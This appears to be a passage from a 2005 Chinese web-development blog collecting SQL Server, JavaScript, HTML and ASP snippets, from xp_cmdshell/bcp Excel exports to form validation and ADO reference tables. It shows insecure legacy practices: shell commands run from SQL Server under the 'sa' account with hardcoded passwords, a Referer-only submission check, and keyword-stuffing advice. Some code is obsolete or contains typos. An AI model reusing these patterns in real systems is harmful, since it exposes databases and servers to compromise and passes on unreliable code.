实例:EXEC master..xp_cmdshell 'bcp saletesttmp.dbo.CusAccount out c:\temp1.xls -c -q -S"pmserver" -U"sa" -P"sa"'

EXEC master..xp_cmdshell 'bcp "SELECT au_fname, au_lname FROM pubs..authors ORDER BY au_lname" queryout C:\ authors.xls -c -Sservername -Usa -Ppassword'

在VB6中应用ADO导出EXCEL文件代码:
Dim cn As New ADODB.Connection
cn.open "Driver={SQL Server};Server=WEBSVR;DataBase=WebMis;UID=sa;WD=123;"
cn.execute "master..xp_cmdshell 'bcp "SELECT col1, col2 FROM 库名.dbo.表名" queryout E:\DT.xls -c -Sservername -Usa -Ppassword'"

4)、在SQL SERVER里往Excel插入数据:

insert into OpenDataSource( 'Microsoft.Jet.OLEDB.4.0','Data Source="c:\Temp.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...table1 (A1,A2,A3) values (1,2,3)

T-SQL代码:
INSERT INTO OPENDATASOURCE('Microsoft.JET.OLEDB.4.0', 'Extended Properties=Excel 8.0;Data source=C:\training\inventur.xls')...[Filiale1$] (bestand, produkt) VALUES (20, 'Test')

总结:利用以上语句,我们可以方便地将SQL SERVER、ACCESS和EXCEL电子表格软件中的数据进行转换,为我们提供了极大方便!


posted @ 2005-07-14 16:42 一天一点爱恋 阅读(548) | 评论 (2)编辑 收藏
 
不同浏览器所支持的“事件”

1。onabort(ns3,ns4,ie4):当用户终止正在打开的网页时产生该事件。
2。onblur(ns3,ns4,ie3,ie4):某元素失去活动焦点时产生该事件。例如鼠标在文本框中点击后又在文本框外点击时就会产生。
3。onchange(ns3,ns4,ie3,ie4):当网页上某元素的内容发生改变时产生。例如在文本框中输入文本后又在文本框外点击时就会产生。
4。onclick(ns3,ns4,ie3,ie4)单击网页上的某元素时产生
5。ondblclick(ns4,ie4):双击网页上的元素时产生
6。onerror(ns3,ns4,ie4):浏览器在打开网页的过程中发生错误时产生该事件
7。onfinish(ie4):滚动文本条中的文本完成一次滚动时产生的事件
8。onfocus(ns3,ns4,ie3,ie4)网页上的元素获得焦点时产生该事件
9。onkeydown(ns4,ie4)按下任意键时产生该事件
10。onkeypress(ns4,ie4)按下任意键时并释放该键产生的事件
11。onkeyup(ns4,ie4)释放按下的按键产生该事件
12。onload(ns3、4,ie3、4)网页或图象调入完成后产生该事件
13。onmousedown(ns4,ie4)在网页的某元素上按下鼠标时产生该事件
14。onmousemove(ie3、4)在网页的某元素上移动鼠标时产生该事件
15。onmouseout(ns3、4,ie4)从网页的某元素移出鼠标时产生该事件
16。onmouseover(ns3、4,ie3、4)鼠标移入网页的某元素时产生该事件
17。onmouseup(ns4,ie4)释放按下的鼠标时产生该事件
18。onreset(ns3、4,ie3、4)复位表格时产生该事件
19。onresize(ns4,ie4)改变浏览器时产生该事件
20。onselect(ns3、4,ie3、4)选择文本框中的文本时产生该事件
21。onstart(ie4)滚动文本条中的文本开始滚动时产生该事件
22。onsubmit(ns3、4,ie3、4)提交表单时产生该事件
23。onunload(ns3、4,ie3、4)从当前的网页退出时产生该事件

马上出现的alt

<style>div {filter: Alpha(Opacity=70, FinishOpacity=70, Style=2, StartX=0, StartY=0, FinishX=100, FinishY=100);}</style>
<img src="icon/popoever.jpg" hint="泡泡哥">
<img src="icon/poorfish.gif" hint="高僧一个,当和尚太可惜了">
<img src="icon/admin.gif" hint="my哥哥">
<div style="visibility:hidden;border:1px solid #000000;background-color:#FFFFCC;font-size:12px;position:absolute;" id=altlayer></div>
测试完毕...
<script>
document.body.onmousemove=quickalt;
function quickalt() {
if(event.srcElement.hint && event.srcElement.hint!='') {
altlayer.style.visibility='visible';
altlayer.style.left=event.x+10;
altlayer.style.top=event.y+10;
altlayer.innerHTML=event.srcElement.hint}
else altlayer.style.visibility='hidden';}
</script>

只能输入数字(方法一)

<script language=javascript>
function onlyNum()
{
if(!((event.keyCode>=48&&event.keyCode<=57)||(event.keyCode>=96&&event.keyCode<=105)))
event.returnValue=false;
}
</script>

<input onkeydown="onlyNum();">

只能输入数字(方法二)

<input onkeypress="return event.keyCode>=48&&event.keyCode<=57" onpaste="return !clipboardData.getData('text').match(/\D/)" style="ime-mode:Disabled" ondragenter="return false">

只能输入数字(方法三)

<script>
function check(){
if (isNaN(tt.value))
{alert("非法字符!");
tt.value="";}
}
</script>
<input type="text" name="tt" onkeyup="check();">

限制textarea多行输入框的字数

<textarea name="b" onkeydown="if(this.value.length>=8) this.value=this.value.substring(0, 8)" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').substring(0, 8))">

验证表单——不能超过设置字数

<script>
function test()
{
if(document.a.b.value.length>50)
{
alert("不能超过50个字符!");
document.a.b.focus();
return false;
}
}
</script>
<form name=a onsubmit="return test()">
<textarea name="b" cols="40" wrap="VIRTUAL" rows="6"></textarea>
<input type="submit" name="Submit" value="check">
</form>

 

验证表单——只能是汉字

<input onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,'')">

验证表单——只能是英文字符

<script language=javascript>
function onlyEng()
{
if(!(event.keyCode>=65&&event.keyCode<=90))
event.returnValue=false;
}
</script>

<input onkeydown="onlyEng();">

验证表单——屏蔽关键字(sex , fuck)

<script language="JavaScript1.2">
function test() {
if((a.b.value.indexOf ("sex") == 0)||(a.b.value.indexOf ("fuck") == 0)){
alert("五讲四美三热爱");
a.b.focus();
return false;}
}
</script>
<form name=a onsubmit="return test()">
<input type=text name=b>
<input type="submit" name="Submit" value="check">
</form>

验证表单——验证为email格式

<SCRIPT LANGUAGE=Javascript RUNAT=Server>
function isEmail(strEmail) {
if (strEmail.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/) != -1)
return true;
else
alert("oh");
}
</SCRIPT>
<input type=text onblur=isEmail(this.value)>

 

css控制checkbox、select的边框不显示

一、<input type=checkbox style="position:absolute;clip: rect(5 16 16 5)">
二、<input type=checkbox style="position:absolute;clip: rect(6 17 17 6)">
三、<select name="menu1" style="position:absolute;clip: rect(2 50 30 2)">
<option>111111</option>
<option>222222</option>
<option>333333</option>
<option>444444</option>
</select>

复选框通常都不需要直接点选,点旁边的文字就行

<label for="box">点这里的文字看看!<input type=checkbox style="position:absolute;clip: rect(6 15 15 6)" id=box></label>

用Label标签还可以让像软件一样使用热键

<label for="box" accesskey="D"><u><b>D</b></u>issplay Username 显示用户名<input type=checkbox style="position:absolute;clip: rect(6 17 17 6)" id=box>

在标题栏上显示版权tm

<title>LEGENDRY_________&#8482;</title>

随机播放背景音乐

<script language="JavaScript">
<!--
var sound=new Array();
sound[0]="1.mid";
sound[1]="2.mid";
sound[2]="3.mid";
sound[3]="4.mid";
sound[4]="5.mid";
sound[5]="6.mid";
sound[6]="7.mid";
var x=Math.round(Math.random()*6);
if(navigator.appName=="Microsoft Internet Explorer") {
document.write("<BGSOUND src='" + sound[x] + "' loop='-1'><br>") ;
document.write("现在正在播放第"+(x+1)+"首乐曲");
}
//-->
</script>

网页背景颜色渐变

<body style="FILTER: progid:DXImageTransform.Microsoft.Alpha( style=1,opacity=25,finishOpacity=100,startX=50,finishX=100,startY=50,finishY=100); BACKGROUND-COLOR: skyblue">

点击图片链接时不显示虚线框

<a href=# onfocus="blur()"><img src=XXX.gif border=0></a>

<a href=#### hidefocus=true><img src=XXX.gif border=0></img></a>

验证两次输入密码不同的JS

<FORM METHOD=POST ACTION="">
<input type="password" id="input1">
<input type="password" id="input2">
<input type="button" value="test" onclick="check()">
</FORM>
<script>
function check()
{
with(document.all){
if(input1.value!=input2.value)
{
alert("false")
input1.value = "";
input2.value = "";
}
else document.forms[0].submit();
}
}
</script>

 

标题栏文字打字效果

<SCRIPT language=JavaScript>
var arr=["█ 欢","■ 欢迎","█ 欢迎光","■ 欢迎光临"],i=0
setInterval("if(i>=arr.length)i=0;document.title=arr[i++]",300);
</SCRIPT>

 

数字转换为大写

<script language="JScript">
arr=["零","壹","贰","叁","肆","伍","陆","柒","捌","玖"];
function go(){
tmp=cinput.value;
for(i=0;i<arr.length;i++)tmp=tmp.replace(new RegExp(i,"gi"),arr[i]);
oinput.value=tmp;
}
</script>
输入:<input id="cinput" onkeypress="return (event.keyCode>=48&&event.keyCode<=57)" value=31415926>
<br>
输出:<input id="oinput">
<br>
<input type="button" value="确定" onclick="go()">

[推荐]经典网页代码25例 希望加精
01.下载flash我的三种方法:
--查看源文件,找出flash的绝对路径,复制,在flashget(或蚂蚁)中点任务
,然后点新建下载任务即可。
--在IE的临时文件夹Temporary Internet Files里把所有的东西都删掉,然后

刷新你想要下载flash的网页,即可得到你所要的flash
--使用外部软件,推荐使用Flash Catcher,安装后只需在你所要下载的flash上右键,save即可。

02.让你的网页无法另存为
<noscript><iframe src=*></iframe></noscript>

03.让IFRAME框架内的文档的背景透明
<iframe src="about:<body style='background:transparent'>"

allowtransparency></iframe>

04.禁止右键:
<body oncontextmenu="return false" ondragstart="return false"

onselectstart ="return false" onselect="document.selection.empty()"

oncopy="document.selection.empty()" onbeforecopy="return
false"onmouseup="document.selection.empty()">

05.进入页面后立即自动刷新?
<meta http-equiv="refresh"

content="120;url=http://www.wodutom.com/cn083">
http://www.wodutom.com/cn083,这是你自己的网址。

06.打开窗口即最大化
<script language="javascript">
<!-- Begin
self.moveTo(0,0)
self.resizeTo(screen.availWidth,screen.availHeight)
// End -->
</script>

防止外部递交:
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=300>"
response.write "<tr><td style='font:9pt Verdana'>"
response.write "请不要从站点外部提交数据!"
response.write"<input type=submit onclick=""javascript:history.back(1)"" name=Submit class=""button"" value=""返 回"">"
response.write "</td></tr></table>"
response.write"</center>"
response.end
end if

07.能隐藏IFRAME的滚动条吗?我知道的三种方法:
1. 设置iframe scrolling="no"
2. 被包含页body应用overflow:hidden
3. 被包含页的body标签加scroll="no"

08.加入背景音乐
<bgsound src="mid/windblue[1].mid" loop="-1"> 只适用于IE

<embed src="music.mid" autostart="true" loop="true" hidden="true">

对Netscape ,IE 都适用

09.嵌入网页
<iframe name="tt" src="01a.html" width="450" height="287"

scrolling="Auto" frameborder="0"></iframe>

10.跳转
<meta http-equiv="refresh" content="3;URL=list.htm">

11.滚动
<MARQUEE direction=up height=146 onmouseout=start()

onmouseover=stop()
scrollAmount=4></marquee>

12.细线分隔线
<hr noshade size=0 color=#C0C0C0>

13.过度方式
<meta http-equiv="Page-Exit"

content="revealTrans(Duration=3,Transition=5)">
Duration的值为网页动态过渡的时间,单位为秒。
Transition是过渡方式,它的值为0到23,分别对应24种过渡方式。如下表:
0 盒状收缩 1 盒状放射
2 圆形收缩 3 圆形放射
4 由下往上 5 由上往下
6 从左至右 7 从右至左
8 垂直百叶窗 9 水平百叶窗
10 水平格状百叶窗 11垂直格状百叶窗
12 随意溶解 13从左右两端向中间展开
14从中间向左右两端展开 15从上下两端向中间展开
16从中间向上下两端展开 17 从右上角向左下角展开
18 从右下角向左上角展开 19 从左上角向右下角展开
20 从左下角向右上角展开 21 水平线状展开
22 垂直线状展开 23 随机产生一种过渡方式

15.如何控制横向和纵向滚动条的显隐?
<body style="overflow-y:hidden"> 去掉x轴
<body style="overflow-x:hidden"> 去掉y轴
<body scroll="no">不显

16.怎样在 FrontPage2000 中加入 Flash 动画?
在 FrontPage2000 中,点击[插入]->[高级]->[插件],在弹出的窗口中,设置

一下 Flash 文件的大小及其它信息,确定即可。

17.加入注释的格式是:    
〈!-[注释内容…]--〉

18.怎样在网页中加入 E-mail 链接并显示预定的主题?
〈A href="mailto:Emailhost@263.net?subject=主题"〉……〈/a〉

19.定义本网页关键字,可以在〈Head〉〈/Head〉中加入如下代码:  
〈meta name="Keywords" content="china,enterprise,business,net"〉   
Content 中所包含的就是关键字,你可以自行设置。   
这里有个技巧,你可以重复某一个单词,这样可以提高自己网站的排行位置,如:
〈meta name="Keywords" content="china,china,china,china"〉

20.IE5.0 的部分快捷键:
A:打开查找功能:Ctrl+F
关闭浏览器窗口:Ctrl+W
打开地址栏下拉列表框:F4
刷 新:F5
将当前Web页保存到收藏夹列表:Ctrl+D
打开当前 IE 窗口的一个拷贝:Ctrl+N
停止下载当前网页:Esc
光标迅速移动到网页的开头:Home
光标迅速移动到网页的尾部:End
打开新的地址键入窗口:Ctrl+O
打开收藏夹:Ctrl+I
打开历史记录文件夹:Ctrl+H
打开浏览器设定的默认主页:Alt+HOME

21.添加到收藏夹:
〈a href="javascript:window.external.addFavorite('http://链接','说明

');"〉添加到收藏夹〈/a〉

22.设为首页:
〈a href=#

onclick=this.style.behavior='url(#default#homepage)';this.setHomePage

('

23.定制浏览器地址栏前的小图标:
A:在网页的〈head〉〈/head〉间加入以下语句:〈link rel="shortcuticon"

href="http://…/icon.ico"〉即可。其中 icon.ico 为 16x16 的图标文件,

颜色不要超过 16 色。

24.把滚动条放在浏览器窗口的左边
A:在 <body> 中加 dir=RTL,即 <body dir=RTL>。

25.让背景图不滚动
IE浏览器支持一个 Body 属性 bgproperties,它可以让背景不滚动:
〈Body Background="图片文件" bgproperties="fixed"〉

最全的表格代码应用[精华]
1.表格的分隔线可以隐藏
<table border rules=cols cellspacing=0 align=left> 可以隐藏横向的分隔线
<table border rules=rows cellspacing=0 align=right>可以隐藏纵向的分隔线

<table border rules=none cellspacing=0 align=center>可以隐藏横向和纵向的分隔线

2.表格的边框不断在闪

以下方法可以令表格的边框不断在闪,很实用的
在BODY区加上

<table border="0" width="280" id="myexample"
style="border:5px solid yellow">

<tr>

<td>加入任意的物件.加入任意的物件.

<br>加入任意的物件.加入任意的物件.

<br>加入任意的物件.加入任意的物件.</td>

</tr>

</table>

<script language="JavaScript1.2">

<!--

function flashit(){

if (!document.all)

return

if (myexample.style.borderColor=="yellow")

myexample.style.borderColor="lime"

else

myexample.style.borderColor="yellow"

}

setInterval("flashit()", 500)

//-->

</script>

3.表格分行下载

这个对表格内容很大比较实用

在需要分行下载处加上 <tbody >

比如:
<table >
<tbody >
<tr >
<td >flsdjfsdjfkdsjf</td >
</tr >
<tr >
<td >skdjfsdjfksd</td >
</tr >
</tbody >

<tbody >
<tr >
<td >flsdjfsdjfkdsjf</td >
</tr >
<tr >
<td>skdjfsdjfksd</td >
</tr >
</tbody >
</table >

4.几种样式不同的表格

<table border="1" width="220" style="position: absolute; left:
11; top: 11" height="26" >

<tr>

<td width="100%">普通表格</td>

</tr>

</table>

5.正立方表格

<table border="1" width="220" bordercolorlight="#eeeeee"
bordercolordark="#000000" style="position: absolute; left: 10; top:
49" height="26">

<tr>

<td width="100%">正立方表格</td>

</tr>

</table>

6.细表格

<table border="0" frame=vsides width="219"
bgcolor="#000000" cellspacing="1" cellpadding="0"
height="22" style="position: absolute; left: 11; top: 86">

<tr bgcolor="#FFFFFF">

<td width="100%" height="2">细表格</td>

</tr>

</table>

7.立体表格

<table border="1" width="220" bordercolorlight="#ffffff"
bordercolordark="#ffffff" style="position: absolute; left: 10; top:
112" height="34">

<tr>

<td width="100%" bgcolor="#B7B7B7"
bordercolorlight="#000000" bordercolordark="#eeeeee" >立体表格</td>

</tr>

</table>

8.无名表格

<table width="220" align="center" style="position: absolute;
left: 246; top: 12" height="51">

<tr>

<td><fieldset style="width:220" align="center">
<legend> 无名表格 </legend>  <p align="right"> </fieldset>
<br>

</td>

</tr>

</table>

9.表中表效果Ⅱ

<table width="220" align="center" style="position:
absolute; left: 245; top: 89" height="110">
<tr>
<td height="75"><fieldset style="width:220"
align="center"> <legend> 表中表效果Ⅱ </legend> <table
frame="hsides" border="1"
bordercolorlight="#000000" bordercolordark="#ffffff"
width="100%" cellspacing="1" cellpadding="0" height="78">
<tr bgcolor="#ffffff">
<td width="100%" height="76"></fieldset></td>
</tr>
</table>

10.表中表效果Ⅰ

<table width="220" align="center" style="position: absolute;
left: 10; top: 120" height="138" cellspacing="1"
cellpadding="0">

<tr>

<td height="126"><fieldset style="width: 220; color: #B7B7B7;
border-style: groove" align="center"> <legend style="color:
#FFFFFF; border: 1 solid #808080" > <font color="#000000">表中表效果Ⅰ</font>
</legend>  <p align="right"> </fieldset>

</td>

</tr>

</table>

11.表格中边框的显示

只显示上边框 <table frame=above>
只显示下边框 <table frame=below>
只显示左、右边框 <table frame=vsides>
只显示上、下边框 <table frame=hsides>
只显示左边框 <table frame=lhs>
只显示右边框 <table frame=rhs>
不显示任何边框 <table frame=void>

posted @ 2005-07-14 16:39 一天一点爱恋 阅读(472) | 评论 (0)编辑 收藏
 
1.如何用Asp判断你的网站的虚拟物理路径
答:使用Mappath方法
< p align="center" >< font size="4" face="Arial" >< b >
The Physical path to this virtual website is:
< /b >< /font >
< font color="#FF0000" size="6" face="Arial" >
< %= Server.MapPath("\")% >
< /font >< /p >
2.我如何知道使用者所用的浏览器?
答:使用the Request object方法
strBrowser=Request.ServerVariables("HTTP_USER_AGENT")
If Instr(strBrowser,"MSIE") < > 0 Then
   Response.redirect("ForMSIEOnly.htm")
Else
   Response.redirect("ForAll.htm")
End If

3.如何计算每天的平均反复访问人数
答:解决方法
< % startdate=DateDiff("d",Now,"01/01/1990")
if strdate< 0 then startdate=startdate*-1
avgvpd=Int((usercnt)/startdate) % >
显示结果
< % response.write(avgvpd) % >
that is it.this page have been viewed since November 10,1998

4.如何显示随机图象
< % dim p,ppic,dpic
ppic=12
randomize
p=Int((ppic*rnd)+1)
dpic="graphix/randompics/"&p&".gif"
% >
显示
< img src="< %=dpic% >" >

5.如何回到先前的页面
答:< a href="< %=request.serverVariables("Http_REFERER")% >" >preivous page< /a >
或用图片如:< img src="arrowback.gif" alt="< %=request.serverVariables("HTTP_REFERER")% >" >

6.如何确定对方的IP地址
答:< %=Request.serverVariables("REMOTE_ADDR)% >

7.如何链结到一副图片上
答:< % @Languages=vbs cript % >
< % response.expires=0
strimagename="graphix/errors/erroriamge.gif"
response.redirect(strimagename)
% >

8.强迫输入密码对话框
答:把这句话放载页面的开头
< % response.status="401 not Authorized"
response.end
% >

9.如何传递变量从一页到另一页
答:用 HIDDEN 类型来传递变量
< % form method="post" action="mynextpage.asp" >
< % for each item in request.form % >
< input namee="< %=item% >" type="HIDDEN"
value="< %=server.HTMLEncode(Request.form(item)) % >" >
< % next % >
< /form >

10.为何我在 asp 程序内使用 msgbox,程序出错说没有权限
答:由于 asp 是服务器运行的,如果可以在服务器显示一个对话框,那么你只好等有人按了确定之后,你的程序才能继续执行,而一般服务器不会有人守着,所以微软不得不禁止这个函数,并胡乱告诉你 (:) 呵呵) 没有权限。但是ASP和客户端脚本结合倒可以显示一个对话框,as follows:
< % yourVar="测试对话框"% >
< % s cript language='javas cript' >
alert("< %=yourvar% >")
< /s cript >

11.有没有办法保护自己的源代码,不给人看到
答:可以去下载一个微软的Windows s cript Encoder,它可以对asp的脚本和客户端javas cript/vbs cript脚本进行加密。。。不过客户端加密后,只有ie5才能执行,服务器端脚本加密后,只有服务器上安装有s cript engine 5(装一个ie5就有了)才能执行。

12.怎样才能将 query string 从一个 asp 文件传送到另一个?
答:前者文件加入下句: Response.Redirect("second.asp?" & Request.ServerVariables("QUERY_STRING"))

13.global.asa文件总是不起作用?
答:只有web目录设置为web application, global.asa才有效,并且一个web application的根目录下 global.asa才有效。IIS4可以使用Internet Service Manager设置application setting 怎样才能使得htm文件如同asp文件一样可以执行脚本代码?

14.怎样才能使得htm文件如同asp文件一样可以执行脚本代码?
答:Internet Sevices Manager - > 选择default web site - >右鼠键- >菜单属性-〉主目录- > 应用程序设置(Application Setting)- > 点击按钮 "配置"- > app mapping - >点击按钮"Add" - > executable browse选择 \WINNT\SYSTEM32\INETSRV\ASP.DLL EXTENSION 输入 htm method exclusions 输入PUT.DELETE 全部确定即可。但是值得注意的是这样对htm也要由asp.dll处理,效率将降低。

15.如何注册组件
答:有两种方法。
第一种方法:手工注册 DLL 这种方法从IIs 3.0一直使用到IIs 4.0和其它的Web Server。它需要你在命令行方式下来执行,进入到包含有DLL的目录,并输入:regsvr32 component_name.dll 例如 c:\temp\regsvr32 AspEmail.dll 它会把dll的特定信息注册入服务器中的注册表中。然后这个组件就可以在服务器上使用了,但是这个方法有一个缺陷。当使用这种方法注册完毕组件后,该组件必须要相应的设置NT的匿名帐号有权限执行这个dll。特别是一些组件需要读取注册表,所以,这个注册组件的方法仅仅是使用在服务器上没有MTS的情况下,要取消注册这个dll,使用:regsvr32 /u aspobject.dll example c:\temp\regsvr32 /u aneiodbc.dll

第二种方法:使用MTS(Microsoft Transaction Server) MTS是IIS 4新增特色,但是它提供了巨大的改进。MTS允许你指定只有有特权的用户才能够访问组件,大大提高了网站服务器上的安全性设置。在MTS上注册组件的步骤如下:
1) 打开IIS管理控制台。
2) 展开transaction server,右键单击"pkgs installed"然后选择"new package"。
3) 单击"create an empty package"。
4) 给该包命名。
5) 指定administrator帐号或则使用"interactive"(如果服务器经常是使用administrator 登陆的话)。
6) 现在使用右键单击你刚建立的那个包下面展开后的"components"。选择 "new then component"。
7) 选择 "install new component" 。
8) 找到你的.dll文件然后选择next到完成。
要删除这个对象,只要选择它的图标,然后选择delete。
附注:特别要注意第二种方法,它是用来调试自己编写组件的最好方法,而不必每次都需要重新启动机器了。

16. ASP与Access数据库连接:

<%@ language=VBs cript%>
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名称.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq="&mdbfile

%>

17. ASP与SQL数据库连接:

<%@ language=VBs cript%>
<%
dim conn
set conn=server.createobject("ADODB.connection")
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称
%>

写到数据库的内容,读出来时没有了空格和换行 ,该怎么解决?
或与此类似问题

问题的解答就是在写入数据库做Replace替换
拿出我用的一个函数供大家参考

<%
'----------Html转换为文本:编辑时拿来做转换
Function Html2Text(Str1)
If isNULL(Str1) Then
Html2Text=""
Exit Function
End If
Str1=Replace(Str1,"&lt;","<")
Str1=Replace(Str1,"&gt;",">")
Str1=Replace(Str1,"<br>",VBcrlf)
Str1=Replace(Str1,"&quot;",chr(34))
Str1=Replace(Str1,"&nbsp;"," ")
Str1=Replace(Str1,"&amp;","&")
Html2Text=Str1
End Function
'-------------------文本转换为Html:写入数据库时使用---------------
Function Text2Html(Str1)
If isNULL(Str1) Then
Text2Html=""
Exit Function
End If
Str1=Replace(Str1,"&","&amp;")
Str1=Replace(Str1,"<","&lt;")
Str1=Replace(Str1,">","&gt;")
Str1=Replace(Str1,VBcrlf,"<br>")
Str1=Replace(Str1,chr(34),"&quot;")
Str1=Replace(Str1,chr(9),"&nbsp;&nbsp;&nbsp;")
Str1=Replace(Str1," ","&nbsp;")
Text2Html=Str1
End Function

%>

二.关于小数点前0的显示问题

1.如果小数点后位数是固定的,那么可以使用函数FormatNumber()

示例:

<%
MyNumber=0.323
Response.Write FormatNumber(MyNumber,2,-1) '保留小数点后两位
%>

2.如果小数点后位数不固定,那么可以如下

示例:
<%
MyNumber=0.323
If Left(Cstr(MyNumber),1)="." Then Response.Write "0"&MyNumber Else Response.Write MyNumber
%>
也可以写一个函数
<%
Function FormatNum(Num)
If Left(Cstr(Num),1)="." Then FormatNum="0"&Num Else FormatNum=Num
End Function
%>

建立记录集对象:

set rs=server.createobject("adodb.recordset")
rs.open SQL语句,conn,3,2

18. SQL常用命令使用方法:

(1) 数据记录筛选:

sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"

sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]"

sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"

sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"

sql="select * from 数据表 where 字段名 between 值1 and 值2"

(2) 更新数据记录:

sql="update 数据表 set 字段名=字段值 where 条件表达式"

sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"

(3) 删除数据记录:

sql="delete from 数据表 where 条件表达式"

sql="delete from 数据表" (将数据表所有记录删除)

(4) 添加数据记录:

sql="insert into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)"

sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)

(5) 数据记录统计函数:

AVG(字段名) 得出一个表格栏平均值
COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名) 取得一个表格栏最大的值
MIN(字段名) 取得一个表格栏最小的值
SUM(字段名) 把数据栏的值相加

引用以上函数的方法:

sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
set rs=conn.excute(sql)

用 rs("别名") 获取统的计值,其它函数运用同上。

(5) 数据表的建立和删除:

CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )

例:CREATE TABLE tab01(name varchar(50),datetime default now())

DROP TABLE 数据表名称 (永久性删除一个数据表)

19. 记录集对象的方法:

rs.movenext 将记录指针从当前的位置向下移一行
rs.moveprevious 将记录指针从当前的位置向上移一行
rs.movefirst 将记录指针移到数据表第一行
rs.movelast 将记录指针移到数据表最后一行
rs.absoluteposition=N 将记录指针移到数据表第N行
rs.absolutepage=N 将记录指针移到第N页的第一行
rs.pagesize=N 设置每页为N条记录
rs.pagecount 根据 pagesize 的设置返回总页数
rs.recordcount 返回记录总数
rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否
rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否
rs.delete 删除当前记录,但记录指针不会向下移动
rs.addnew 添加记录到数据表末端
rs.update 更新数据表记录

---------------------------------------

20 Recordset对象方法

Open方法

recordset.Open Source,ActiveConnection,CursorType,LockType,Options

Source
Recordset对象可以通过Source属性来连接Command对象。Source参数可以是一个Command对象名称、一段SQL命令、一个指定的数据表名称或是一个Stored Procedure。假如省略这个参数,系统则采用Recordset对象的Source属性。

ActiveConnection
Recordset对象可以通过ActiveConnection属性来连接Connection对象。这里的ActiveConnection可以是一个Connection对象或是一串包含数据库连接信息(ConnectionString)的字符串参数。

CursorType
Recordset对象Open方法的CursorType参数表示将以什么样的游标类型启动数据,包括adOpenForwardOnly、adOpenKeyset、adOpenDynamic及adOpenStatic,分述如下:
--------------------------------------------------------------
常数 常数值 说明
-------------------------------------------------------------
adOpenForwardOnly 0 缺省值,启动一个只能向前移动的游标(Forward Only)。
adOpenKeyset 1 启动一个Keyset类型的游标。
adOpenDynamic 2 启动一个Dynamic类型的游标。
adOpenStatic 3 启动一个Static类型的游标。
-------------------------------------------------------------
以上几个游标类型将直接影响到Recordset对象所有的属性和方法,以下列表说明他们之间的区别。

-------------------------------------------------------------
Recordset属性 adOpenForwardOnly adOpenKeyset adOpenDynamic adOpenStatic
-------------------------------------------------------------
ADO Recordset的属性和方法的有效性

ADO Recordset的属性和方法在不同的光标类型下,有不同的表现,这里列出了其详细情况列表
ADO Recordset属性的有效性列表

属性 ForwardOnly Dynamic Keyset Static

AbsolutePage 无效 无效 读/写 读/写
AbsolutePosition 无效 无效 读/写 读/写
ActiveConnection 读/写 读/写 读/写 读/写
BOF 只读 只读 只读 只读
Bookmark 无效 无效 读/写 读/写
CacheSize 读/写 读/写 读/写 读/写
CursorLocation 读/写 读/写 读/写 读/写
CursorType 读/写 读/写 读/写 读/写
EditMode 只读 只读 只读 只读
EOF 只读 只读 只读 只读
Filter 读/写 读/写 读/写 读/写
LockType 读/写 读/写 读/写 读/写
MarshalOptions 读/写 读/写 读/写 读/写
MaxRecords 读/写 读/写 读/写 读/写
PageCount 无效 无效 只读 只读
PageSize 读/写 读/写 读/写 读/写
RecordCount 无效 无效 只读 只读
Source 读/写 读/写 读/写 读/写
State 只读 只读 只读 只读
Status 只读 只读 只读 只读

 

在使用Microsoft OLE DB Provider for ODBC.1.0时候,属性AbsolutePosition
和AbsolutePage是只写的

ADO Recordse方法的有效性列表

方法 ForwardOnly Dynamic Keyset Static

AddNew 是 是 是 是
CancelBatch 是 是 是 是
CancelUpdate 是 是 是 是
Clone 否 否 是 是
Close 是 是 是 是
Delete 是 是 是 是
GetRows 是 是 是 是
Move 是 是 是 是
MoveFirst 是 是 是 是
MoveLast 否 是 是 是
MoveNext 是 是 是 是
MovePrevious 否 是 是 是
NextRecordset * 是 是 是 是
Open 是 是 是 是
Requery 是 是 是 是
Resync 否 否 是 是
Supports 是 是 是 是
Update 是 是 是 是
UpdateBatch 是 是 是 是

* Microsoft Access databases.不支持
--------------------------------------------------------------
其中NextRecordset方法并不适用于Microsoft Access数据库。

LockType
Recordset对象Open方法的LockType参数表示要采用的Lock类型,如果忽略这个参数,那么系统会以Recordset对象的LockType属性为预设值。LockType参数包含adLockReadOnly、adLockPrssimistic、adLockOptimistic及adLockBatchOptimistic等,分述如下:

-------------------------------------------------------------
常数 常数值 说明
--------------------------------------------------------------
adLockReadOnly 1 缺省值,Recordset对象以只读方式启动,无法运行AddNew、Update及Delete等方法
adLockPrssimistic 2 当数据源正在更新时,系统会暂时锁住其他用户的动作,以保持数据一致性。
adLockOptimistic 3 当数据源正在更新时,系统并不会锁住其他用户的动作,其他用户可以对数据进行增、删、改的操作。
adLockBatchOptimistic 4 当数据源正在更新时,其他用户必须将CursorLocation属性改为adUdeClientBatch才能对数据进行增、
删、改的操作。

------------------------------------------------------

RS.OPEN SQL,CONN,A,B

A:

ADOPENFORWARDONLY(=0)
只读,且当前数据记录只能向下移动

ADOPENKEYSET(=1)
只读,当前数据记录可自由移动

ADOPENDYNAMIC(=2)
可读写,当前数据记录可自由移动

ADOPENSTATIC(=3)
可读写,当前数据记录可自由移动,可看到新增记录

B:

